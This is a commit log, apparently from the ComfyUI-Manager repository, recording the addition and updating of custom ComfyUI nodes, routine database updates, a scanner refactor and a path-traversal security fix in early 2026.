NeflowandGitHub ef27449962 Add booru tagger node. (#2633) 2026-03-16 04:16:11 +09:00
Dr.Lt.Data 03a93ac9ff update DB 2026-03-16 03:04:22 +09:00
Senjin the DragonandGitHub 6ecb39b409 Add ComfyUI Gender Tag Filter node suite by senjinthedragon (#2692)
* Add ComfyUI Gender Tag Filter by senjinthedragon

* Add install_type: git to satisfy manager loader

* Add files array to satisfy json-checker validation

* Update install_type to git-clone for scanner compatibility
2026-03-16 03:03:45 +09:00
Dr.Lt.Data 31e9d281d5 update DB 2026-03-16 03:02:35 +09:00
RimorandGitHub 7198541a34 Add Diana interactive assistant node (#2690) 2026-03-16 03:02:00 +09:00
Dr.Lt.Data e21017ad0b update DB 2026-03-16 03:01:06 +09:00
ketle-manandGitHub 83e07578fd Add ComfyUI 2D Pose Editor node (#2691) 2026-03-16 02:59:45 +09:00
Dr.Lt.Data ad71567e8a update DB 2026-03-16 02:59:29 +09:00
23539a02a0 Add ComfyUI Qwen-VL LoRA node by Dangocan (#2683)
Co-authored-by: Dangocan <dangocan@users.noreply.github.com>
2026-03-16 02:51:57 +09:00
Dr.Lt.Data ac4cf1ce40 update DB 2026-03-16 02:47:37 +09:00
George JiangandGitHub b8d7721e00 Add files via upload (#2679)
feat: add comfyui-save-image-no-meta node
2026-03-16 02:45:57 +09:00
ketle-manandGitHub 23056a0eb8 Add ComfyUI 2D Pose Editor node 2026-03-14 22:45:52 +09:00
Dr.Lt.Data a801227663 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-03-13 12:58:34 +09:00
Dr.Lt.Data 8ffbde9fa8 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-03-10 23:06:07 +09:00
Dr.Lt.Data a87171916d update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-03-09 12:46:48 +09:00
Dr.Lt.Data 008e6ede56 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-03-05 07:57:56 +09:00
Dr.Lt.Data f7d1bba7f0 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-03-05 00:36:56 +09:00
Dr.Lt.Data dc0861b603 update DB 2026-03-05 00:32:55 +09:00
Dr.Lt.Data 7bc06a07fa update DB 2026-03-05 00:31:03 +09:00
zuoyuting214andGitHub 4dd60197c8 Add chanjingAI-ComfyUI (#2645) 2026-03-05 00:30:04 +09:00
Dr.Lt.Data 03d496d80d update DB 2026-03-05 00:17:14 +09:00
Dr.Lt.Data ffc5f03ed0 update DB 2026-03-05 00:10:50 +09:00
Waseem AnjumandGitHub 9d427effcb Add CivitAI Gallery Explorer (#2664) 2026-03-05 00:10:03 +09:00
Dr.Lt.Data f4ba539d62 update DB 2026-03-05 00:08:37 +09:00
Jason HokuandGitHub 65ab25f0d4 Add comfyui-lite-text-to-file-tools (#2642) 2026-03-05 00:07:43 +09:00
Dr.Lt.Data 83edc3d787 update DB 2026-03-05 00:06:28 +09:00
Dr.Lt.Data 001adf19c9 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-03-04 01:33:23 +09:00
Dr.Lt.Data d2459128db update DB
Python Linting / Run Ruff (push) Waiting to run
2026-03-04 00:59:25 +09:00
Dr.Lt.Data 3ad3f0df39 update DB 2026-03-04 00:38:20 +09:00
yinandGitHub 535d288bf1 Add ComfyUI-Lux3D (#2650) 2026-03-04 00:36:55 +09:00
Dr.Lt.Data 05076e56db update DB
Python Linting / Run Ruff (push) Waiting to run
2026-03-03 07:07:46 +09:00
Dr.Lt.Data 6f887b012c update DB 2026-03-03 07:03:17 +09:00
Nichlas SchipperandGitHub eabd5ed9cd Added entry for ComfyUI-OpenImage to custom node list (#2653) 2026-03-03 07:02:29 +09:00
Dr.Lt.Data 6079647938 update DB 2026-03-03 06:59:41 +09:00
Dr.Lt.Data effde1667b update DB 2026-03-03 06:35:14 +09:00
Halil BeycanandGitHub 832344ca20 new node ComfyUI-ImageQualityGate (#2661) 2026-03-03 06:33:11 +09:00
Dr.Lt.Data 25f684c06f update DB 2026-03-03 06:06:14 +09:00
SamSeenandGitHub 5ce422bcfa Update author name and repository URLs for SamSeen custom nodes (#2662) 2026-03-03 06:01:52 +09:00
Dr.Lt.Data 2f66249f51 update DB 2026-03-03 05:56:17 +09:00
Dr.Lt.Data fb90ad9e34 update DB 2026-03-03 05:53:03 +09:00
Rohit MahtoandGitHub 8be1f1494c Add Champdev Custom Nodes (#2654)
* Add Chamdev Custom Nodes

* fix review comments
2026-03-03 05:50:57 +09:00
Dr.Lt.Data 613d2bd648 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-03-02 11:04:04 +09:00
Dr.Lt.Data d7aad369a4 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-02-27 02:12:24 +09:00
Xz3r0andGitHub 2030bb2428 update node description (#2644) 2026-02-27 01:57:40 +09:00
Dr.Lt.Data e4657b2b0f update DB 2026-02-27 01:51:51 +09:00
Pondowner857andGitHub ea3313c429 Add comfyui-workflow-protector to custom node list (#2641) 2026-02-27 01:50:51 +09:00
PxTicksandGitHub 0219872906 Fix handleFile monkeypatch for new frontend signature (#2640)
handleFile signature is updated in ComfyUI frontend [handleFile (file: File, openSource?: WorkflowOpenSource, options?: { deferWarnings?: boolean } )]. Using rest parameters to fix and future-proof.
2026-02-27 01:49:20 +09:00
Dr.Lt.Data 60114405c1 update DB 2026-02-27 01:47:55 +09:00
AnonBOTplandGitHub 00d58a213f Update: Add metadata for Qwen Prompt Expander (#2639)
* Delete custom-node-list.json

* Add files via upload

* Delete custom-node-list.json

* Add files via upload

* Delete custom-node-list.json

* Add files via upload
2026-02-27 01:44:14 +09:00
samy kamkarandGitHub 7fba0abf02 update nvidia urls (#2635) 2026-02-27 01:37:57 +09:00
Dr.Lt.Data c15f4a6117 update DB 2026-02-27 01:37:15 +09:00
TripleHeadedMonkeyandGitHub 1b935e439c Add files via upload (#2634) 2026-02-27 01:36:28 +09:00
Dr.Lt.Data 5df7c9fbae update DB 2026-02-27 01:26:04 +09:00
mr-septemberandGitHub 285bec4f61 Update custom-node-list.json (#2625) 2026-02-27 01:25:09 +09:00
Dr.Lt.Data 971d5a2ad1 update DB 2026-02-27 01:23:36 +09:00
Dr.Lt.Data 96fc7a9bdf update DB 2026-02-27 01:20:06 +09:00
ddeca90708 Add ComfyUI Image Browser by Flibens to custom node list (#2622)
Co-authored-by: Flibens <195953152+Flibens@users.noreply.github.com>
2026-02-27 01:19:22 +09:00
Dr.Lt.Data 299f7d9c74 update DB 2026-02-27 01:14:18 +09:00
Dr.Lt.Data 93e6ff5168 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-02-26 00:26:34 +09:00
Dr.Lt.Data 8ec120e964 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-02-25 12:56:25 +09:00
Dr.Lt.Data 03befe1ac7 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-02-24 08:20:09 +09:00
Dr.Lt.Data c88a9985c1 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-02-24 02:22:17 +09:00
AnonBOTplandGitHub 530f628523 ComfyUI Qwen Prompt Expander (#2620)
* Delete custom-node-list.json

* Add files via upload
2026-02-24 02:20:34 +09:00
Dr.Lt.Data 5919b79752 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-02-23 12:56:09 +09:00
Dr.Lt.Data eb12e015d5 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-02-21 03:49:07 +09:00
Dr.Lt.DataandClaude Sonnet 4.6 3409ad6c3e refactor(scanner): apply KISS/YAGNI/DRY to git error collection
DRY: merge _GIT_ERROR_PATTERNS + _CATEGORY_LABELS into single
_GIT_ERROR_CATEGORIES list of (key, label, regex) 3-tuples.
Adding a category now requires editing one place only.

KISS: replace _GIT_ERROR_COLLECTOR {'lock':..., 'by_category':...}
dict wrapper with two plain module variables _git_error_lock and
_git_errors. Removes string-key access throughout.

YAGNI: remove 200-char message truncation from _record_git_error.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-20 12:14:17 +09:00
Dr.Lt.DataandClaude Sonnet 4.6 3c24614aeb feat(scanner): collect and report git errors by category
Errors during git clone/pull are now accumulated in a thread-safe
collector and printed as a grouped summary after all operations
complete, instead of being scattered in per-repo log lines.

Error categories: repository_not_found, divergent_branch, auth_failed,
network_error, merge_conflict, permission_denied, other.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-20 09:27:13 +09:00
Dr.Lt.Data f41365abe9 update DB 2026-02-17 23:40:42 +09:00
huchukatoandGitHub b5defe2a38 Add ComfyUI-TagComplete custom node to list (#2611)
- Tag completion with a1111-sd-webui-tagcomplete style wildcard sub-selection
- Support for CSV files and multiple wildcard sources
- Smart parsing and text overflow handling
- Full compatibility with existing wildcard files
- v2.0.0 with major wildcard workflow improvements
- Category: utility with comprehensive tag and autocomplete features
2026-02-17 23:39:49 +09:00
Dr.Lt.Data ebb354a201 update DB 2026-02-17 10:56:20 +09:00
A神andGitHub b181307098 Add new image processing nodes to custom-node-list (#2472) 2026-02-17 10:54:51 +09:00
Dr.Lt.Data e76457021c update DB 2026-02-17 10:45:38 +09:00
TK3RandGitHub 3cda7f602e added ComfyUI_TK3R_Ext to custom nodes list (#2614) 2026-02-17 10:44:23 +09:00
Dr.Lt.Data d11db7e48c update DB 2026-02-17 10:40:08 +09:00
Benjamin GreggandGitHub 4d22ed9779 Add PBRFusion4 Node (#2609) 2026-02-17 10:39:12 +09:00
DemonAloneandGitHub 51edfa6194 rename repo and fix URL (#2607) 2026-02-17 10:37:40 +09:00
Dr.Lt.Data 5acd638ead update DB 2026-02-17 10:36:45 +09:00
Jacobus MeulenandGitHub fd8f1242e3 Add draggen node to comfy ui manager (#2604) 2026-02-17 10:35:32 +09:00
48acce370a Update va1: add ImageMaskComparer node (#2603)
- Add ImageMaskComparer to extension-node-map.json

- Update description in custom-node-list.json to cover both nodes

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-17 10:31:19 +09:00
Dr.Lt.Data db97557ba9 update DB 2026-02-17 09:54:08 +09:00
b66777aa0c Add comfyui majoor assetsmanager (#2600)
* Add Majoor File Manager node to custom-node-list

Added a new node for Majoor File Manager with relevant details.

* Rename and update Majoor File Manager to Asset Manager

* Fix typos in Majoor Assets Manager entry

* Add 'id' field to Majoor Assets Manager entry

* Update custom-node-list.json

* Add ComfyUI-Majoor-AssetsManager node to custom-node-list.json

* Set ComfyUI-Majoor-AssetsManager node id to majoor-assetsmanager

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
Co-authored-by: Your Name <you@example.com>
2026-02-17 09:52:42 +09:00
Dr.Lt.Data 77377eeddb update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-02-13 12:58:53 +09:00
huchukatoandGitHub bac31f1dc3 Add QwenVL-Mod custom node to list (#2590)
* Add QwenVL-Mod custom node to list

- Enhanced QwenVL node with Flash Attention 2
- WAN 2.2 video generation support
- Free abliterated models
- Comprehensive NSFW support
- Advanced fork with major improvements

* Update QwenVL-Mod to v2.0.7 with latest features

- Updated version from 2.0.4 to 2.0.7
- Enhanced description with Smart Prompt Caching and Fixed Seed Mode
- Updated tags to include smart_caching, prompt_caching, fixed_seed, cinematography
- Revolutionary performance improvements with instant cached responses

* Update QwenVL-Mod to v2.0.8 with latest stable release

- Updated version from 2.0.7 to 2.0.8
- Enhanced description with multilingual support and visual style detection
- Added new tags: multilingual, style_detection, stable
- Includes bug fixes and stability improvements
- All WAN 2.2 presets now support any language with style detection
2026-02-13 12:57:41 +09:00
Dr.Lt.Data ae38dc9239 update DB 2026-02-13 12:55:45 +09:00
Dr.Lt.Data 4f4172bf5e update DB 2026-02-13 12:53:36 +09:00
HmilyandGitHub 8742cc247b feat: add ComfyUI-FitDiTx nodes to the custom node list (#2582) 2026-02-13 12:49:47 +09:00
3c787f1fd2 Add ComfyUI-Model-Downloader custom node (#2578)
* Add ComfyUI-Model-Downloader extension details

* Fix JSON formatting in custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2026-02-13 12:38:44 +09:00
Dr.Lt.Data 438f26a3a2 update DB 2026-02-13 12:33:07 +09:00
sworksteamandGitHub 9ad417cb69 added SEngine (#2570) 2026-02-13 12:31:42 +09:00
Dr.Lt.Data c1869f4d1d update DB
Python Linting / Run Ruff (push) Waiting to run
2026-02-12 12:44:07 +09:00
Dr.Lt.Data 1780916806 update DB 2026-02-12 12:42:07 +09:00
6d8d00e7f3 Add PromptFlow custom node (#2583)
Co-authored-by: Maarten Harms <maartenharms@users.noreply.github.com>
2026-02-12 12:41:19 +09:00
Dr.Lt.Data 6097f88462 update DB 2026-02-12 12:39:53 +09:00
Moser9815andGitHub 40787eface Add ComfyUI-RMAutomation to custom node list (#2580)
Automation nodes for ComfyUI including:
- RM Styles Full/Pipe: Load prompts from JSON with random/increment/decrement modes
- Power LoRA Loader: Advanced LoRA loading with random weight support
- Image fallback, mask gate, latent nodes, and video combine

Repository: https://github.com/Moser9815/ComfyUI-RMAutomation
2026-02-12 12:38:45 +09:00
JuggernautandGitHub 2757728935 Merge branch 'Comfy-Org:main' into main 2026-02-09 16:53:01 +05:30
Dr.Lt.Data 7b3f032e77 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-02-09 12:58:09 +09:00
Dr.Lt.Data e9020377ff update DB 2026-02-09 12:51:00 +09:00
7610b72825 Add Custom Node: ComfyUI-Meld (#2566)
Co-authored-by: HappyOnigiri <253838257+NodeMeld@users.noreply.github.com>
2026-02-09 12:50:22 +09:00
Dr.Lt.Data 76b876f4c8 update DB 2026-02-09 12:49:10 +09:00
4235ca33fe Add ComfyUI Prompt Saver custom node (#2558)
Adds a new node that saves images with formatted prompt reference cards
for easy browsing. Features include:
- Side-by-side thumbnail + prompt display
- JSON syntax highlighting
- Auto font sizing to fit content
- Multiple output formats (full image, reference card, JSON metadata)

Repository: https://github.com/robomello/comfyui-prompt-saver

Co-authored-by: robomello <robomello@users.noreply.github.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2026-02-09 12:48:28 +09:00
Dr.Lt.Data e5a10245f4 update DB 2026-02-09 12:46:35 +09:00
BoredCoderandGitHub 90ad0bc926 Add files via upload (#2552) 2026-02-09 12:45:56 +09:00
Dr.Lt.Data 755a6f3c24 update DB 2026-02-09 12:44:59 +09:00
VyacheslavDandGitHub 37027055f7 Update custom-node-list.json (#2542)
dva-qwen-tts
2026-02-09 12:44:00 +09:00
Dr.Lt.Data 08cd0c4e27 update DB 2026-02-09 12:36:58 +09:00
774482cc00 Update custom-node-list.json (#2527)
* Update custom-node-list.json

* Refactor custom-node-list.json to consolidate entries

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2026-02-09 12:35:39 +09:00
JuggernautandGitHub bb46126fbd Merge branch 'Comfy-Org:main' into main 2026-02-06 12:31:48 +05:30
Dr.Lt.Data 4faf4e05e3 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-02-06 12:41:16 +09:00
Brian BlankenshipandGitHub 404dde76c9 Modified name of Pausable Sampler to FreezeFrame for consistency. (#2584) 2026-02-06 12:33:07 +09:00
akawanaandGitHub a58abc29d5 AK Pack nodes description update (#2575) 2026-02-06 12:30:05 +09:00
Dr.Lt.Data 4ea05462e4 update DB 2026-02-06 12:26:26 +09:00
Satrio DewantonoandGitHub 492f7eda6a add reference chain custom node entry (#2568) 2026-02-06 12:25:53 +09:00
Dr.Lt.Data e04224a2bd update DB 2026-02-06 12:23:17 +09:00
971af87529 Add HALO Debug Pack - AMD ROCm bf16 diagnostic tools (#2562)
Adds diagnostic nodes for debugging black image issues caused by
numpy's lack of bfloat16 support on AMD ROCm, older NVIDIA cards,
Apple Silicon, and unified memory systems.

Nodes included:
- HALO VAE Decode/Encode (FP32) - forces fp32 to fix bf16 conversion
- HALO Latent Debug - check sampler output for NaN
- HALO Conditioning Debug - check text encoder for NaN
- HALO Model Debug - inspect model dtype

Repository: https://github.com/bkpaine1/halo_pack

Co-authored-by: bkpaine1 <bkpaine1@github.com>
2026-02-06 12:22:31 +09:00
Dr.Lt.Data 920d70a26a update DB 2026-02-06 12:20:24 +09:00
Nick deLannoyandGitHub 45770ac2cb add comfyui-mobile-frontend (#2560) 2026-02-06 12:19:24 +09:00
Dr.Lt.Data 544ab8328c update DB
Python Linting / Run Ruff (push) Waiting to run
2026-02-05 12:47:06 +09:00
Dr.Lt.Data b06a85e1c2 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-02-05 09:12:41 +09:00
3cad4eb209 Update: description and nodename_pattern for LoraHelper (#2553)
* Update custom-node-list.json

* Update custom-node-list.json

* Modify LoraHelper Chat Nodes entry in custom-node-list

Updated reference URL and install type for LoraHelper Chat Nodes.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2026-02-05 09:11:55 +09:00
Dr.Lt.Data c5c0749f85 update DB 2026-02-05 09:10:51 +09:00
FearL0rdandGitHub c7711eb574 Add ComfyUI Any-Device Offload custom node (#2551)
Added a new custom node for ComfyUI Any-Device Offload with detailed description and installation type.
2026-02-05 09:09:41 +09:00
Nakano Kenji 794161d81d Add ComfyUI-AnimaTool 2026-02-03 16:33:13 +08:00
Dr.Lt.Data bafe5004ca update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-02-03 07:35:37 +09:00
Dr.Lt.Data 2944e5ef50 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-02-02 12:58:12 +09:00
Dr.Lt.Data df1eaff802 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-01-29 02:22:55 +09:00
Dr.Lt.Data cf5dfbf99d update DB
Python Linting / Run Ruff (push) Waiting to run
2026-01-28 18:29:30 +09:00
Dr.Lt.Data cd0b48de5a update DB
Python Linting / Run Ruff (push) Waiting to run
2026-01-28 01:56:59 +09:00
698ac53b0c Add LoraHelper Nodes (#2520)
* Update custom-node-list.json

* Update custom-node-list.json

* Modify LoraHelper Chat Nodes entry in custom-node-list

Updated reference URL and install type for LoraHelper Chat Nodes.

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2026-01-28 01:56:05 +09:00
Dr.Lt.Data 2a126e0873 update DB 2026-01-28 00:13:42 +09:00
SQandGitHub e3c9fea279 Add ComfyUI Sequential Image Loader (SQ-ImageLoader) (#2549) 2026-01-28 00:12:27 +09:00
Dr.Lt.Data 07a570d1f2 update DB 2026-01-28 00:09:02 +09:00
gmorksandGitHub eec9d9c04f Add ComfyUI-WatchPoint node to custom-node-list (#2541)
Watch Point - Multi-monitor preview node
   
   Features:
   - External monitor preview with zoom/pan
   - Floating in-browser preview
   - Signal Scout for prompt monitoring
   - Stable threading (no crashes)
2026-01-28 00:07:45 +09:00
Dr.Lt.Data 52564c3ad5 update DB 2026-01-28 00:06:40 +09:00
45ce612ac1 Add ComfyUI-Qwen-Canvas node to custom node list (#2547)
* Add ComfyUI-Qwen-Canvas node to custom node list

* Update description for ComfyUI-Qwen-Canvas

* Update description for ComfyUI-Qwen-Canvas

* Add ComfyUI-Qwen-Canvas node to custom-node-list

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2026-01-28 00:05:42 +09:00
Dr.Lt.Data 620d9fd387 update DB 2026-01-28 00:01:40 +09:00
hetimaandGitHub e1c84570ea Update custom-node-list.json (#2545)
add ComfyUI-SingleLinePicker custom node
2026-01-28 00:00:32 +09:00
ArtsticHandGitHub 1bfaaf5d91 Update the main info for my plugin ArtsticH/ComfyUI_EasyKitHT_NodeAlignPro.(Node2.0-based alignment — innovative first support) (#2543)
Python Linting / Run Ruff (push) Waiting to run
2026-01-27 23:32:06 +09:00
Dr.Lt.Data 413c3b3855 update DB 2026-01-27 23:25:15 +09:00
Chen MingyiandGitHub 2eae6faf46 Add ComfyUI DFloat11 Extended custom node (#2528)
Added a new custom node for ComfyUI DFloat11 Extended with installation instructions and a detailed description.
2026-01-27 23:23:50 +09:00
Dr.Lt.Data b320c47e45 update DB 2026-01-27 23:05:54 +09:00
Brian BlankenshipandGitHub d57b0d7c4a Added ComfyUI-Pause to custom_node_list.json (#2536)
* Added ComfyUI-Pause to list

* chore: changed name of the nodepack
2026-01-27 23:04:29 +09:00
Fred N. GarvinandGitHub 4df0628a12 feat: add AutoModelDownloader (fixed diff) (#2495) 2026-01-27 22:50:50 +09:00
Dr.Lt.Data d8e3f531c7 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-01-24 19:04:17 +09:00
Dr.Lt.Data 40829b059a update DB 2026-01-24 18:48:51 +09:00
Dr.Lt.Data 6c48c98900 update DB 2026-01-24 18:42:17 +09:00
934132e922 Add Audio Enhance and Normalize tools (#2537)
* Add Audio Enhance and Normalize tools

* Update ComfyUI-AudioTools node details

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2026-01-24 18:38:15 +09:00
Dr.Lt.Data d2bb0c3b36 update DB 2026-01-24 18:16:01 +09:00
room3devandGitHub f57cc56285 Add ComfyUI-I2VChainHelper node to custom-node-list (#2535)
Added a new node for ComfyUI-I2VChainHelper that assists with image batch processing.
2026-01-24 18:15:13 +09:00
Dr.Lt.Data 63522345cb update DB 2026-01-24 18:14:51 +09:00
wangyff-codeandGitHub 787457bf23 Update custom-node-list.json (#2534)
ADD ComfyUI custom node that converts images into Pixel Art using ONNX models.
2026-01-24 18:12:57 +09:00
Dr.Lt.Data d13837ac5c update DB 2026-01-24 18:09:01 +09:00
loficodingandGitHub c57ee0c6e8 Update custom-node-list.json (#2531)
Added ComfyUI Node HUD extension by loficoding
2026-01-24 18:06:53 +09:00
ArthemyandGitHub 53d924014d Update custom-node-list.json (#2529)
Hey there! I've added a new custom node for Z-image and I'd love to share that too on ComfyUI-Manager! <3
2026-01-24 18:03:47 +09:00
Dr.Lt.Data fcf7581431 update DB 2026-01-24 17:40:20 +09:00
CrateToolsandGitHub 53073a6015 Add Preview Video Monitor Pro (#2499) 2026-01-24 17:38:16 +09:00
Dr.Lt.Data c4fefd4721 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-01-20 23:32:01 +09:00
pixelpainterandGitHub d86f6196d0 Update custom-node-list.json (#2509) 2026-01-20 23:30:34 +09:00
Dr.Lt.Data aa4e7b553f update DB 2026-01-20 22:59:03 +09:00
Dr.Lt.Data 389ca64bd9 update DB 2026-01-20 22:52:42 +09:00
mickmumpitzandGitHub f02e069d93 Update custom-node-list.json (#2521) 2026-01-20 22:45:15 +09:00
LiChunlinandGitHub 8627ac2f4c Comfyui-Image-Concat update to v1.1 (#2519)
1. Add 1 optional IMAGES input port named a0_image.
2. Add 2 new bitmap stitching modes: equal-width vertical stitching (top to bottom), equal-height horizontal stitching (left to right).
3. Add the function of displaying image filenames on the stitched tiles, with customizable text colors (16 colors).
4. Optimized the tile saving mode, including three options: none/save single block/save single image.
5. Simply connect to the b6 port to view the usage help for this node.
6. Standardized the port naming on the node page.
2026-01-20 22:23:51 +09:00
Dr.Lt.Data 656ec027db update DB 2026-01-20 22:20:17 +09:00
room3devandGitHub 83f63001e0 Add ComfyUI-PixelForge node to custom-node-list (#2525)
Adding the new PixelForge custom nodes: Resolution Selector and Resize Image.
2026-01-20 22:14:03 +09:00
Dr.Lt.Data fd07a47db6 update DB 2026-01-20 22:00:46 +09:00
ArthemyandGitHub 701d848fc4 Update custom-node-list.json (#2518) 2026-01-20 21:59:20 +09:00
LiChunlinandGitHub 0aa95ef88f Enhance function for image concatenation tool (#2517)
Updated description to include new features in V1.1.
-  Added 2 new bitmap stitching modes: equal-width vertical stitching (top to bottom), equal-height horizontal stitching (left to right)
-  Optimized the tile saving mode, including three options: none/save single block/save single image
-  Added the function of displaying image filenames on the stitched tiles, with customizable text colors (16 colors)
-  Simply connect to the b6 port to view the usage help for this node
- 🎨 Standardized the port naming on the node page
2026-01-20 21:58:33 +09:00
Dr.Lt.Data e4eb87cc38 update DB 2026-01-20 21:57:54 +09:00
ca8c925fb9 Add Halo-Lipsy: AMD unified memory lip sync node (#2514)
Halo-Lipsy is a native Wav2Lip implementation for ComfyUI that finally works
on AMD APUs with unified memory (Strix Halo, etc.).

Key features:
- No subprocess hacks - runs natively in ComfyUI process
- Face detection on CPU to prevent memory conflicts
- Safe tensor casting for unified memory compatibility
- Sync tuning and edge blending options
- Works on ROCm, AMD APUs, and NVIDIA

Tested on Ryzen AI Max+ 395 (Strix Halo) with 64GB unified memory and ROCm 7.11.

Repository: https://github.com/bkpaine1/Halo-Lipsy

Co-authored-by: bkpaine1 <bkpaine1@users.noreply.github.com>
2026-01-20 21:56:48 +09:00
Dr.Lt.Data 0edd6607ae update DB 2026-01-20 21:55:07 +09:00
Aditya MundhaliaandGitHub 44aa47126e Add ComfyUI-ollama-aditya node (#2498) 2026-01-20 21:54:19 +09:00
Dr.Lt.Data 2f40e125be update DB 2026-01-20 21:53:40 +09:00
Dr.Lt.Data e6a2ae829c update DB 2026-01-20 21:34:04 +09:00
Evgeniy AndriyanoffandGitHub 9390270879 Add ComfyUI Remote Upscale node (#2500) 2026-01-20 21:32:31 +09:00
Dr.Lt.Data 74d1e9d296 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-01-19 19:34:31 +09:00
Dr.Lt.Data 8138954fc6 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-01-19 01:59:09 +09:00
ashish af1c698117 dependency analysis 2026-01-18 16:54:22 +05:30
Dr.Lt.Data e8e0e884f2 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-01-15 22:01:15 +09:00
loz2754andGitHub 379fad3809 Add AUN ComfyUI Nodes to custom node list (#2494) 2026-01-15 21:33:48 +09:00
Dr.Lt.Data bb0ef5bdc3 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-01-15 12:54:22 +09:00
Dr.Lt.Data 9617b0e56e update DB 2026-01-14 01:38:25 +09:00
Dr.Lt.Data f20f8549e6 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-01-14 00:45:38 +09:00
sinanzoo2ndandGitHub 82135ab168 Add ComfyUI-Seed-Wildcard-Pack (#2497) 2026-01-14 00:14:47 +09:00
Dr.Lt.Data 2cb7f021e9 update DB 2026-01-13 18:51:07 +09:00
Dr.Lt.Data 29a59595b9 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-01-13 12:59:33 +09:00
Dr.Lt.Data 58a1051c46 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-01-13 07:32:02 +09:00
Dr.Lt.Data 53bec8be40 update DB 2026-01-13 07:29:47 +09:00
zwaiganiandGitHub 162f25f570 Add ComfyUI-VRAM-watcher node with details (#2493) 2026-01-13 07:28:10 +09:00
Dr.Lt.Data 5d0112f768 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-01-12 01:59:22 +09:00
Jason HokuandGitHub 695d87cc0a Add Ultimate Auto Sampler Suite (#2471) 2026-01-12 01:39:54 +09:00
Dr.Lt.Data f2ba36ec3a update DB 2026-01-12 01:12:58 +09:00
6b83a5a16e Add ComfyUI_FMJ_SaveImageVersions node entry (#2475)
* Add ComfyUI_FMJ_SaveImageVersions node entry

Save images with full metadata (prompt, workflow, software versions, commit)

This repository provides ComfyUI nodes to:
- Save PNG images with embedded metadata (positive / negative prompts and other JSON fields),
- Generate and copy a snapshot describing the environment (commits, versions, GPU, etc.),
- Load an image and restore information from its metadata.

Important: this project runs a local script `snapshot.py` to capture the state of ComfyUI and custom nodes. Only run it in trusted environments.

* Update custom-node-list.json

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2026-01-12 01:11:35 +09:00
Dr.Lt.Data 10aff14af5 update DB 2026-01-12 01:06:25 +09:00
LiChunlinandGitHub 7634a08073 Add Comfyui-Image-Concat custom node (#2480)
Added a new custom node for ComfyUI that supports image concatenation with advanced features.
2026-01-12 01:05:32 +09:00
Dr.Lt.Data 92cf872f1b update DB 2026-01-12 00:55:47 +09:00
vuhung3990andGitHub c916174499 Add NSFW Guard node to custom-node-list.json (#2489)
Added NSFW Guard node for ComfyUI with automatic detection.
2026-01-12 00:51:05 +09:00
Amit PintzandGitHub 4ad8735c89 Add LTX-2 models. (#2490) 2026-01-12 00:49:45 +09:00
Dr.Lt.Data 2416aa2fc9 update DB
Python Linting / Run Ruff (push) Has been cancelled
2026-01-09 12:53:58 +09:00
Dr.Lt.Data f4fa394e0f fix(security): add input sanitization and path traversal protection
Python Linting / Run Ruff (push) Waiting to run
- Sanitize config string values to prevent CRLF injection attacks
- Add get_safe_snapshot_path() helper to validate snapshot targets
- Block path traversal attempts in remove_snapshot and restore_snapshot endpoints
- Reject targets containing /, \, .., or null characters
2026-01-08 18:29:14 +09:00
Dr.Lt.Data 8d67702ab0 update DB
Python Linting / Run Ruff (push) Waiting to run
2026-01-08 03:04:19 +09:00
SBCODEandGitHub b1d804a47e Change author name from 'Sean-Bradley' to 'sbcode' (#2468)
Updated author names for all my custom nodes to match what i have in the registry.
Also added a node for my version of ComfyUI-Sonic
2026-01-08 02:57:57 +09:00
Dr.Lt.Data db6ff690bf update DB 2026-01-08 02:55:50 +09:00
Dr.Lt.Data adfbe8de75 update DB 2026-01-08 02:55:17 +09:00
BWDrumandGitHub 8184430df5 Update custom-node-list.json (#2470)
Add ComfyUI Random Wildcard Loader
2026-01-08 02:54:34 +09:00
Dr.Lt.Data 88938a04cc update DB 2026-01-08 02:54:22 +09:00
Yifan ZhuandGitHub 6a50229ef6 Add ComfyUI-Persona-Director to custom node list (#2467) 2026-01-08 02:53:12 +09:00
76e9ce9b5d Add Kraken Tools custom node pack + fix author attribution (#2459)
